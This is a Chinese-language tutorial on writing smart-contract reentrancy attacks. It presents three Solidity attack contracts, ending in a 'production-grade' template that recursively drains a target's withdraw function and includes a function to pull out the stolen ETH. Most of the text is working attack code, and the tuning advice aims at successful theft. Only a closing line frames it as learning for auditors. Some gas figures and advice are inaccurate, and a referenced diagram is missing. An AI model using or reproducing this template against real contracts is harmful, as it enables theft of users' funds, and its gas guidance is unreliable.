攻击合约编写:恶意合约的fallback函数设计、递归调用逻辑、Gas消耗控制
好,咱们直接进入正题。重入攻击的核心,说白了就是攻击合约怎么“骗”目标合约反复打钱。我见过不少新手写攻击合约,要么递归写成了死循环,要么Gas烧光了还没拿到钱。今天我把这三个关键点拆开讲透。
一、fallback函数:攻击的“入口”
为什么是fallback?因为目标合约调用address.call{value: amount}("")时,如果接收方是合约,就会触发它的fallback或receive函数。这就是攻击的起点。
我个人习惯把攻击逻辑全塞在fallback里。看个例子:
// 恶意攻击合约
contract Attacker {
address payable public target;
uint public attackCount;
constructor(address payable _target) {
target = _target;
}
// 接收ETH时自动触发
receive() external payable {
if (address(target).balance >= msg.value) {
attackCount++;
// 再次调用目标合约的withdraw函数
Target(target).withdraw(msg.value);
}
}
function attack() external payable {
// 发起第一次调用
Target(target).deposit{value: msg.value}();
Target(target).withdraw(msg.value);
}
}
注意看receive函数里的逻辑:每次收到钱,只要目标合约还有余额,就继续调用withdraw。这就是递归的起点。
二、递归调用逻辑:控制好“深度”
递归不是越深越好。你想想看,每次递归都要消耗Gas,如果目标合约的余额不多,递归几次就没了。我建议的做法是:
- 设置递归上限:用计数器控制最多递归N次
- 检查余额变化:每次递归前检查目标余额是否减少
- 及时退出:一旦余额不足或达到目标,立即停止
看一个带控制的版本:
contract AttackerV2 {
address payable public target;
uint public maxDepth = 10; // 最大递归深度
uint public currentDepth;
receive() external payable {
require(currentDepth < maxDepth, "too deep");
currentDepth++;
if (address(target).balance >= msg.value) {
Target(target).withdraw(msg.value);
}
}
function attack() external payable {
currentDepth = 0;
Target(target).deposit{value: msg.value}();
Target(target).withdraw(msg.value);
}
}
为什么要限制深度?因为以太坊每个区块有Gas上限。我记得有一次在Ropsten上测试,没加限制直接跑,结果交易一直pending,最后超时被丢弃了。加了限制后,一次交易就能完成攻击。
三、Gas消耗控制:别把自己“烧”死
这是新手最容易忽略的点。重入攻击的Gas消耗主要来自:
- 递归调用本身:每次call都要消耗至少2300 Gas
- 状态读写:SLOAD和SSTORE操作非常贵
- 日志输出:emit事件也会消耗Gas
我整理了一个Gas消耗对比表:
| 操作 | Gas消耗 | 说明 |
|---|---|---|
| call{value}() | ~2300 + 转账Gas | 基础调用成本 |
| SLOAD(读状态) | ~2100 | 读取合约变量 |
| SSTORE(写状态) | ~5000 - 20000 | 写入合约变量,视情况而定 |
| emit事件 | ~375 + 日志数据 | 每多一个topic加375 |
你看,一次递归光call就要2300 Gas,如果递归10次,光调用成本就23000了。再加上状态读写,很容易超过区块Gas限制。
1. 尽量少写状态变量,用memory代替storage
2. 不要emit事件,除非必要
3. 把攻击逻辑写成纯函数,避免状态修改
4. 如果目标合约余额很大,可以分多次交易攻击
四、完整的攻击合约模板
把上面三点整合起来,我给出一个生产级别的攻击合约:
contract AttackerFinal {
address payable public target;
uint public constant MAX_DEPTH = 8;
uint public depth;
uint public totalStolen;
receive() external payable {
// Gas检查:如果剩余Gas太少,直接退出
if (gasleft() < 50000) return;
if (depth >= MAX_DEPTH) return;
if (address(target).balance < msg.value) return;
depth++;
totalStolen += msg.value;
// 递归调用
Target(target).withdraw(msg.value);
}
function attack() external payable {
require(msg.value > 0, "need ETH");
depth = 0;
totalStolen = 0;
// 先存款,再提款
Target(target).deposit{value: msg.value}();
Target(target).withdraw(msg.value);
}
// 提取赃款
function withdrawStolen() external {
payable(msg.sender).transfer(address(this).balance);
}
}
这个模板里我加了三个保护:Gas下限检查、深度限制、余额检查。嗯,这样基本不会出大问题。
• fallback/receive是攻击入口,必须精心设计
• 递归深度要控制,别超过区块Gas限制
• Gas消耗要提前估算,避免交易失败
• 攻击完成后记得提取资金
最后说一句:写攻击合约不是为了作恶,而是为了理解漏洞原理。我在审计项目中见过太多类似的漏洞,如果你能写出攻击合约,自然也能写出防御代码。这就是攻防一体的道理。
这张图把攻击流程串起来了。从攻击者发起交易,到目标合约withdraw,再到触发fallback,最后递归调用withdraw。注意那个判断框,就是我们的Gas和深度检查点。
好了,攻击合约的核心就这些。记住:写攻击代码不是为了搞破坏,而是为了理解漏洞原理。你只有知道攻击者会怎么想,才能写出真正安全的合约。